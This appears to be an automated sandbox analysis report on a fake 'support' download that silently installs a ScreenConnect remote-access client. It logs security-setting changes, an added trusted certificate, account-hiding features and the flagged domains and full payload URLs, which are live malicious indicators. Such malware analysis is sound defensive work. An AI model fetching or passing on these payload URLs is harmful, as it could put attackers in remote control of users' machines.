Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Queries volume information: C:\Users\user\AppData\Local\Temp\Deployment\VPHPX4NN.BTC\4JXNCLAQ.OW1\ScreenConnect.WindowsBackstageShell.exe VolumeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Queries volume information: C:\Users\user\AppData\Local\Temp\Deployment\VPHPX4NN.BTC\4JXNCLAQ.OW1\ScreenConnect.WindowsFileManager.exe.config VolumeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Queries volume information: C:\Users\user\AppData\Local\Temp\Deployment\VPHPX4NN.BTC\4JXNCLAQ.OW1\ScreenConnect.WindowsClient.exe.config VolumeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Queries volume information: C:\Users\user\AppData\Local\Temp\Deployment\VPHPX4NN.BTC\4JXNCLAQ.OW1\ScreenConnect.WindowsBackstageShell.exe.config VolumeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Queries volume information: C:\Users\user\AppData\Local\Temp\Deployment\VPHPX4NN.BTC\4JXNCLAQ.OW1\ScreenConnect.WindowsFileManager.exe VolumeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Queries volume information: C:\Users\user\AppData\Local\Temp\Deployment\VPHPX4NN.BTC\4JXNCLAQ.OW1\ScreenConnect.WindowsClient.exe VolumeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Queries volume information: C:\Users\user\AppData\Local\Temp\Deployment\VPHPX4NN.BTC\4JXNCLAQ.OW1\ScreenConnect.Windows.dll VolumeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Queries volume information: C:\Users\user\AppData\Local\Temp\Deployment\VPHPX4NN.BTC\4JXNCLAQ.OW1\ScreenConnect.Core.dll VolumeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Queries volume information: C:\Users\user\AppData\Local\Temp\Deployment\VPHPX4NN.BTC\4JXNCLAQ.OW1\ScreenConnect.Client.dll VolumeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Queries volume information: C:\Users\user\AppData\Local\Temp\Deployment\VPHPX4NN.BTC\4JXNCLAQ.OW1\ScreenConnect.ClientService.dll VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\PBJP0LVB.VXD\EZCCOVKW.H6B\scre..tion_25b0fbb6ef7eb094_0017.0009_1d0f54312371b4fd\ScreenConnect.WindowsClient.exe Queries volume information: C:\Users\user\AppData\Local\Apps\2.0\PBJP0LVB.VXD\EZCCOVKW.H6B\scre..tion_25b0fbb6ef7eb094_0017.0009_1d0f54312371b4fd\ScreenConnect.WindowsClient.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Apps\2.0\PBJP0LVB.VXD\EZCCOVKW.H6B\scre..tion_25b0fbb6ef7eb094_0017.0009_1d0f54312371b4fd\ScreenConnect.WindowsClient.exe Queries volume information: C:\Users\user\AppData\Local\Apps\2.0\PBJP0LVB.VXD\EZCCOVKW.H6B\scre..tion_25b0fbb6ef7eb094_0017.0009_1d0f54312371b4fd\ScreenConnect.Client.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Apps\2.0\PBJP0LVB.VXD\EZCCOVKW.H6B\scre..tion_25b0fbb6ef7eb094_0017.0009_1d0f54312371b4fd\ScreenConnect.WindowsClient.exe Queries volume information: C:\Users\user\AppData\Local\Apps\2.0\PBJP0LVB.VXD\EZCCOVKW.H6B\scre..tion_25b0fbb6ef7eb094_0017.0009_1d0f54312371b4fd\ScreenConnect.Core.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Apps\2.0\PBJP0LVB.VXD\EZCCOVKW.H6B\scre..tion_25b0fbb6ef7eb094_0017.0009_1d0f54312371b4fd\ScreenConnect.WindowsClient.exe Queries volume information: C:\Users\user\AppData\Local\Apps\2.0\PBJP0LVB.VXD\EZCCOVKW.H6B\scre..tion_25b0fbb6ef7eb094_0017.0009_1d0f54312371b4fd\ScreenConnect.Windows.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Apps\2.0\PBJP0LVB.VXD\EZCCOVKW.H6B\scre..tion_25b0fbb6ef7eb094_0017.0009_1d0f54312371b4fd\ScreenConnect.WindowsClient.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Deployment\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Deployment.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Apps\2.0\PBJP0LVB.VXD\EZCCOVKW.H6B\scre..tion_25b0fbb6ef7eb094_0017.0009_1d0f54312371b4fd\ScreenConnect.ClientService.exe Queries volume information: C:\Users\user\AppData\Local\Apps\2.0\PBJP0LVB.VXD\EZCCOVKW.H6B\scre..tion_25b0fbb6ef7eb094_0017.0009_1d0f54312371b4fd\ScreenConnect.ClientService.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Apps\2.0\PBJP0LVB.VXD\EZCCOVKW.H6B\scre..tion_25b0fbb6ef7eb094_0017.0009_1d0f54312371b4fd\ScreenConnect.ClientService.exe Queries volume information: C:\Users\user\AppData\Local\Apps\2.0\PBJP0LVB.VXD\EZCCOVKW.H6B\scre..tion_25b0fbb6ef7eb094_0017.0009_1d0f54312371b4fd\ScreenConnect.ClientService.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Apps\2.0\PBJP0LVB.VXD\EZCCOVKW.H6B\scre..tion_25b0fbb6ef7eb094_0017.0009_1d0f54312371b4fd\ScreenConnect.ClientService.exe Queries volume information: C:\Users\user\AppData\Local\Apps\2.0\PBJP0LVB.VXD\EZCCOVKW.H6B\scre..tion_25b0fbb6ef7eb094_0017.0009_1d0f54312371b4fd\ScreenConnect.Core.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Apps\2.0\PBJP0LVB.VXD\EZCCOVKW.H6B\scre..tion_25b0fbb6ef7eb094_0017.0009_1d0f54312371b4fd\ScreenConnect.ClientService.exe Queries volume information: C:\Users\user\AppData\Local\Apps\2.0\PBJP0LVB.VXD\EZCCOVKW.H6B\scre..tion_25b0fbb6ef7eb094_0017.0009_1d0f54312371b4fd\ScreenConnect.ClientService.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Apps\2.0\PBJP0LVB.VXD\EZCCOVKW.H6B\scre..tion_25b0fbb6ef7eb094_0017.0009_1d0f54312371b4fd\ScreenConnect.ClientService.exe Queries volume information: C:\Users\user\AppData\Local\Apps\2.0\PBJP0LVB.VXD\EZCCOVKW.H6B\scre..tion_25b0fbb6ef7eb094_0017.0009_1d0f54312371b4fd\ScreenConnect.ClientService.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Apps\2.0\PBJP0LVB.VXD\EZCCOVKW.H6B\scre..tion_25b0fbb6ef7eb094_0017.0009_1d0f54312371b4fd\ScreenConnect.ClientService.exe Queries volume information: C:\Users\user\AppData\Local\Apps\2.0\PBJP0LVB.VXD\EZCCOVKW.H6B\scre..tion_25b0fbb6ef7eb094_0017.0009_1d0f54312371b4fd\ScreenConnect.Core.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Apps\2.0\PBJP0LVB.VXD\EZCCOVKW.H6B\scre..tion_25b0fbb6ef7eb094_0017.0009_1d0f54312371b4fd\ScreenConnect.ClientService.exe Queries volume information: C:\Users\user\AppData\Local\Apps\2.0\PBJP0LVB.VXD\EZCCOVKW.H6B\scre..tion_25b0fbb6ef7eb094_0017.0009_1d0f54312371b4fd\ScreenConnect.Windows.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Apps\2.0\PBJP0LVB.VXD\EZCCOVKW.H6B\scre..tion_25b0fbb6ef7eb094_0017.0009_1d0f54312371b4fd\ScreenConnect.ClientService.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Apps\2.0\PBJP0LVB.VXD\EZCCOVKW.H6B\scre..tion_25b0fbb6ef7eb094_0017.0009_1d0f54312371b4fd\ScreenConnect.ClientService.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Security\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Security.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Apps\2.0\PBJP0LVB.VXD\EZCCOVKW.H6B\scre..tion_25b0fbb6ef7eb094_0017.0009_1d0f54312371b4fd\ScreenConnect.ClientService.exe Queries volume information: C:\Users\user\AppData\Local\Apps\2.0\PBJP0LVB.VXD\EZCCOVKW.H6B\scre..tion_25b0fbb6ef7eb094_0017.0009_1d0f54312371b4fd\ScreenConnect.Client.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Apps\2.0\PBJP0LVB.VXD\EZCCOVKW.H6B\scre..tion_25b0fbb6ef7eb094_0017.0009_1d0f54312371b4fd\ScreenConnect.ClientService.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Apps\2.0\PBJP0LVB.VXD\EZCCOVKW.H6B\scre..tion_25b0fbb6ef7eb094_0017.0009_1d0f54312371b4fd\ScreenConnect.WindowsClient.exe Queries volume information: C:\Users\user\AppData\Local\Apps\2.0\PBJP0LVB.VXD\EZCCOVKW.H6B\scre..tion_25b0fbb6ef7eb094_0017.0009_1d0f54312371b4fd\ScreenConnect.WindowsClient.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Apps\2.0\PBJP0LVB.VXD\EZCCOVKW.H6B\scre..tion_25b0fbb6ef7eb094_0017.0009_1d0f54312371b4fd\ScreenConnect.WindowsClient.exe Queries volume information: C:\Users\user\AppData\Local\Apps\2.0\PBJP0LVB.VXD\EZCCOVKW.H6B\scre..tion_25b0fbb6ef7eb094_0017.0009_1d0f54312371b4fd\ScreenConnect.Client.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Apps\2.0\PBJP0LVB.VXD\EZCCOVKW.H6B\scre..tion_25b0fbb6ef7eb094_0017.0009_1d0f54312371b4fd\ScreenConnect.WindowsClient.exe Queries volume information: C:\Users\user\AppData\Local\Apps\2.0\PBJP0LVB.VXD\EZCCOVKW.H6B\scre..tion_25b0fbb6ef7eb094_0017.0009_1d0f54312371b4fd\ScreenConnect.Core.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Apps\2.0\PBJP0LVB.VXD\EZCCOVKW.H6B\scre..tion_25b0fbb6ef7eb094_0017.0009_1d0f54312371b4fd\ScreenConnect.WindowsClient.exe Queries volume information: C:\Users\user\AppData\Local\Apps\2.0\PBJP0LVB.VXD\EZCCOVKW.H6B\scre..tion_25b0fbb6ef7eb094_0017.0009_1d0f54312371b4fd\ScreenConnect.Windows.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Apps\2.0\PBJP0LVB.VXD\EZCCOVKW.H6B\scre..tion_25b0fbb6ef7eb094_0017.0009_1d0f54312371b4fd\ScreenConnect.WindowsClient.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Deployment\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Deployment.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Apps\2.0\PBJP0LVB.VXD\EZCCOVKW.H6B\scre..tion_25b0fbb6ef7eb094_0017.0009_1d0f54312371b4fd\ScreenConnect.WindowsClient.exe Queries volume information: C:\Users\user\AppData\Local\Apps\2.0\PBJP0LVB.VXD\EZCCOVKW.H6B\scre..tion_25b0fbb6ef7eb094_0017.0009_1d0f54312371b4fd\ScreenConnect.ClientService.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Apps\2.0\PBJP0LVB.VXD\EZCCOVKW.H6B\scre..tion_25b0fbb6ef7eb094_0017.0009_1d0f54312371b4fd\ScreenConnect.WindowsClient.exe Queries volume information: C:\Users\user\AppData\Local\Apps\2.0\PBJP0LVB.VXD\EZCCOVKW.H6B\scre..tion_25b0fbb6ef7eb094_0017.0009_1d0f54312371b4fd\ScreenConnect.WindowsClient.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Apps\2.0\PBJP0LVB.VXD\EZCCOVKW.H6B\scre..tion_25b0fbb6ef7eb094_0017.0009_1d0f54312371b4fd\ScreenConnect.WindowsClient.exe Queries volume information: C:\Users\user\AppData\Local\Apps\2.0\PBJP0LVB.VXD\EZCCOVKW.H6B\scre..tion_25b0fbb6ef7eb094_0017.0009_1d0f54312371b4fd\ScreenConnect.Client.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Apps\2.0\PBJP0LVB.VXD\EZCCOVKW.H6B\scre..tion_25b0fbb6ef7eb094_0017.0009_1d0f54312371b4fd\ScreenConnect.WindowsClient.exe Queries volume information: C:\Users\user\AppData\Local\Apps\2.0\PBJP0LVB.VXD\EZCCOVKW.H6B\scre..tion_25b0fbb6ef7eb094_0017.0009_1d0f54312371b4fd\ScreenConnect.Core.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Apps\2.0\PBJP0LVB.VXD\EZCCOVKW.H6B\scre..tion_25b0fbb6ef7eb094_0017.0009_1d0f54312371b4fd\ScreenConnect.WindowsClient.exe Queries volume information: C:\Users\user\AppData\Local\Apps\2.0\PBJP0LVB.VXD\EZCCOVKW.H6B\scre..tion_25b0fbb6ef7eb094_0017.0009_1d0f54312371b4fd\ScreenConnect.Windows.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Apps\2.0\PBJP0LVB.VXD\EZCCOVKW.H6B\scre..tion_25b0fbb6ef7eb094_0017.0009_1d0f54312371b4fd\ScreenConnect.WindowsClient.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Deployment\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Deployment.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Apps\2.0\PBJP0LVB.VXD\EZCCOVKW.H6B\scre..tion_25b0fbb6ef7eb094_0017.0009_1d0f54312371b4fd\ScreenConnect.WindowsClient.exe Queries volume information: C:\Users\user\AppData\Local\Apps\2.0\PBJP0LVB.VXD\EZCCOVKW.H6B\scre..tion_25b0fbb6ef7eb094_0017.0009_1d0f54312371b4fd\ScreenConnect.ClientService.dll VolumeInformation
Source: C:\Users\user\Downloads\support.Client.exe Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid Jump to behavior

Lowering of HIPS / PFW / Operating System Security Settings
barindex
Changes security center settings (notifications, updates, antivirus, firewall)
Source: C:\Windows\System32\svchost.exe Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Security Center cval Jump to behavior
AV process strings found (often used to terminate AV products)
Source: svchost.exe, 0000000A.00000002.2408198631.000001F8A4F02000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: gramFiles%\Windows Defender\MsMpeng.exe
Source: svchost.exe, 0000000A.00000002.2408198631.000001F8A4F02000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: %ProgramFiles%\Windows Defender\MsMpeng.exe
Adds / modifies Windows certificates
Source: C:\Users\user\Downloads\support.Client.exe Registry key created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\SystemCertificates\TrustedPublisher\Certificates\7B0F360B775F76C94A12CA48445AA2D2A875701C Blob Jump to behavior
Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)
Source: C:\Windows\System32\svchost.exe WMI Queries: IWbemServices::ExecNotificationQuery - ROOT\SecurityCenter : SELECT * FROM __InstanceOperationEvent WHERE TargetInstance ISA 'AntiVirusProduct' OR TargetInstance ISA 'FirewallProduct' OR TargetInstance ISA 'AntiSpywareProduct'
Source: C:\Program Files\Windows Defender\MpCmdRun.exe WMI Queries: IWbemServices::CreateInstanceEnum - root\SecurityCenter2 : AntiVirusProduct
Source: C:\Program Files\Windows Defender\MpCmdRun.exe WMI Queries: IWbemServices::CreateInstanceEnum - root\SecurityCenter2 : AntiVirusProduct
Yara detected ScreenConnect Tool
Source: Yara match File source: 00000011.00000000.1931309778.0000000000782000.00000002.00000001.01000000.0000000C.sdmp, type: MEMORY
Source: Yara match File source: Process Memory Space: dfsvc.exe PID: 7692, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: ScreenConnect.WindowsClient.exe PID: 7256, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: ScreenConnect.ClientService.exe PID: 2212, type: MEMORYSTR
Source: Yara match File source: C:\Users\user\AppData\Local\Apps\2.0\PBJP0LVB.VXD\EZCCOVKW.H6B\scre..ient_4b14c015c87c1ad8_0017.0009_none_c7123e2bd9a688c6\ScreenConnect.WindowsClient.exe, type: DROPPED
windows-stand
Hide Legend

Legend:

  • Process
  • Signature
  • Created File
  • DNS/IP Info
  • Is Dropped
  • Is Windows Process
  • Number of created Registry Values
  • Number of created Files
  • Visual Basic
  • Delphi
  • Java
  • .Net C# or VB.NET
  • C, C++ or other language
  • Is malicious
  • Internet
behaviorgraph top1 dnsIp2 2 Behavior Graph ID: 1544862 URL: https://cp9856.chelokipotle... Startdate: 29/10/2024 Architecture: WINDOWS Score: 68 65 cp9856.chelokipotlester.icu 2->65 67 fp2e7a.wpc.phicdn.net 2->67 69 3 other IPs or domains 2->69 81 .NET source code references suspicious native API functions 2->81 83 Contains functionality to hide user accounts 2->83 85 AI detected suspicious URL 2->85 10 chrome.exe 20 2->10         started        14 ScreenConnect.ClientService.exe 2->14         started        17 svchost.exe 2->17         started        19 7 other processes 2->19 signatures3 process4 dnsIp5 75 192.168.2.16, 138, 443, 49485 unknown unknown 10->75 77 239.255.255.250 unknown Reserved 10->77 59 C:\Users\user\...\support.Client.exe (copy), PE32 10->59 dropped 61 bfb7a509-8b20-4376-b9ba-bfeeb014e662.tmp, PE32 10->61 dropped 63 C:\Users\...\Unconfirmed 974768.crdownload, PE32 10->63 dropped 21 support.Client.exe 2 10->21         started        23 chrome.exe 10->23         started        27 chrome.exe 10->27         started        29 chrome.exe 10->29         started        89 Reads the Security eventlog 14->89 91 Reads the System eventlog 14->91 31 ScreenConnect.WindowsClient.exe 14->31         started        34 ScreenConnect.WindowsClient.exe 14->34         started        93 Changes security center settings (notifications, updates, antivirus, firewall) 17->93 36 MpCmdRun.exe 17->36         started        79 127.0.0.1 unknown unknown 19->79 file6 signatures7 process8 dnsIp9 38 dfsvc.exe 132 117 21->38         started        71 cp9856.chelokipotlester.icu 37.221.67.19, 443, 49705, 49706 FIRSTDC-ASRU Russian Federation 23->71 73 www.google.com 142.250.185.228, 443, 49710, 49735 GOOGLEUS United States 23->73 57 Chrome Cache Entry: 128, PE32 23->57 dropped 99 Contains functionality to hide user accounts 31->99 41 conhost.exe 36->41         started        file10 signatures11 process12 file13 49 C:\...\ScreenConnect.WindowsFileManager.exe, PE32 38->49 dropped 51 C:\Users\...\ScreenConnect.WindowsClient.exe, PE32 38->51 dropped 53 ScreenConnect.WindowsBackstageShell.exe, PE32 38->53 dropped 55 13 other files (none is malicious) 38->55 dropped 43 ScreenConnect.WindowsClient.exe 38->43         started        process14 signatures15 87 Contains functionality to hide user accounts 43->87 46 ScreenConnect.ClientService.exe 43->46         started        process16 signatures17 95 Contains functionality to hide user accounts 46->95 97 Enables network access during safeboot for specific services 46->97
  • No. of IPs < 25%
  • 25% < No. of IPs < 50%
  • 50% < No. of IPs < 75%
  • 75% < No. of IPs

Contacted Public IPs

IP Domain Country Flag ASN ASN Name Malicious
142.250.185.228
 www.google.com United States
15169 GOOGLEUS false
239.255.255.250
 unknown Reserved
unknown unknown false
37.221.67.19
 cp3back96.site Russian Federation
48430 FIRSTDC-ASRU true

Private

IP
192.168.2.16
127.0.0.1

Contacted Domains

Name IP Active
bg.microsoft.map.fastly.net 199.232.210.172 true
www.google.com 142.250.185.228 true
cp3back96.site 37.221.67.19 true
cp9856.chelokipotlester.icu 37.221.67.19 true
fp2e7a.wpc.phicdn.net 192.229.221.95 true

Contacted URLs

Name Malicious Antivirus Detection Reputation
https://cp9856.chelokipotlester.icu/Bin/ScreenConnect.WindowsClient.exe.config false
    		unknown
    https://cp9856.chelokipotlester.icu/Bin/ScreenConnect.ClientService.dll false
      		unknown
      https://cp9856.chelokipotlester.icu/Bin/ScreenConnect.Client.application?e=Support&y=Guest&h=cp3back96.site&p=8041&s=5999b697-2fc8-47f6-a1dc-4d0d274c363e&k=BgIAAACkAABSU0ExAAgAAAEAAQB9zMUOcnsRaC12buOM5jB%2f0aQdWfMpUKDaWi13yRXoM16W00nLl4p0ZtEhANoxvmcw0wWFEBncKj1h1Sizr06d2epn5Y1la%2fZuAUNQxVB6zV6MkV%2fQ3PQ8O4IKEUzM%2b1uTT6bVi8cjhVOM7wlYYJcudQAB6Dwlh4JaUc5YEBvhT8MaZnAIYPqnbmxNwUw1RDlaRh5YJbZGPTJPIJpusdEO4D%2fCUtP6CZ%2f6LBYCi1k6apr4NFJdoCsgYMmz0ueWApW6fnSWePa0E3G6vxJQsjXUZXU7nn2pC9y84o5L0uqvKTZ239UPNomZv8wnSyaubzULL%2b48fuhT%2fYi9ukTBmorR&r=&i=Untitled%20Session false
        		unknown
        https://cp9856.chelokipotlester.icu/Bin/ScreenConnect.WindowsFileManager.exe.config false
          		unknown
          https://cp9856.chelokipotlester.icu/Bin/support.Client.exe?h=cp3back96.site&p=8041&k=BgIAAACkAABSU0ExAAgAAAEAAQB9zMUOcnsRaC12buOM5jB%2F0aQdWfMpUKDaWi13yRXoM16W00nLl4p0ZtEhANoxvmcw0wWFEBncKj1h1Sizr06d2epn5Y1la%2FZuAUNQxVB6zV6MkV%2FQ3PQ8O4IKEUzM%2B1uTT6bVi8cjhVOM7wlYYJcudQAB6Dwlh4JaUc5YEBvhT8MaZnAIYPqnbmxNwUw1RDlaRh5YJbZGPTJPIJpusdEO4D%2FCUtP6CZ%2F6LBYCi1k6apr4NFJdoCsgYMmz0ueWApW6fnSWePa0E3G6vxJQsjXUZXU7nn2pC9y84o5L0uqvKTZ239UPNomZv8wnSyaubzULL%2B48fuhT%2FYi9ukTBmorR&s=5999b697-2fc8-47f6-a1dc-4d0d274c363e&i=Untitled%20Session&e=Support&y=Guest&r= false
            		unknown
            https://cp9856.chelokipotlester.icu/Bin/ScreenConnect.WindowsFileManager.exe false
              		unknown
              https://cp9856.chelokipotlester.icu/Bin/ScreenConnect.Client.manifest false
                		unknown
                https://cp9856.chelokipotlester.icu/Bin/ScreenConnect.Client.dll false
                  		unknown
                  https://cp9856.chelokipotlester.icu/Bin/ScreenConnect.Core.dll false
                    		unknown
                    https://cp9856.chelokipotlester.icu/Bin/ScreenConnect.WindowsBackstageShell.exe.config false
                      		unknown
                      https://cp9856.chelokipotlester.icu/Bin/ScreenConnect.WindowsClient.exe false
                        		unknown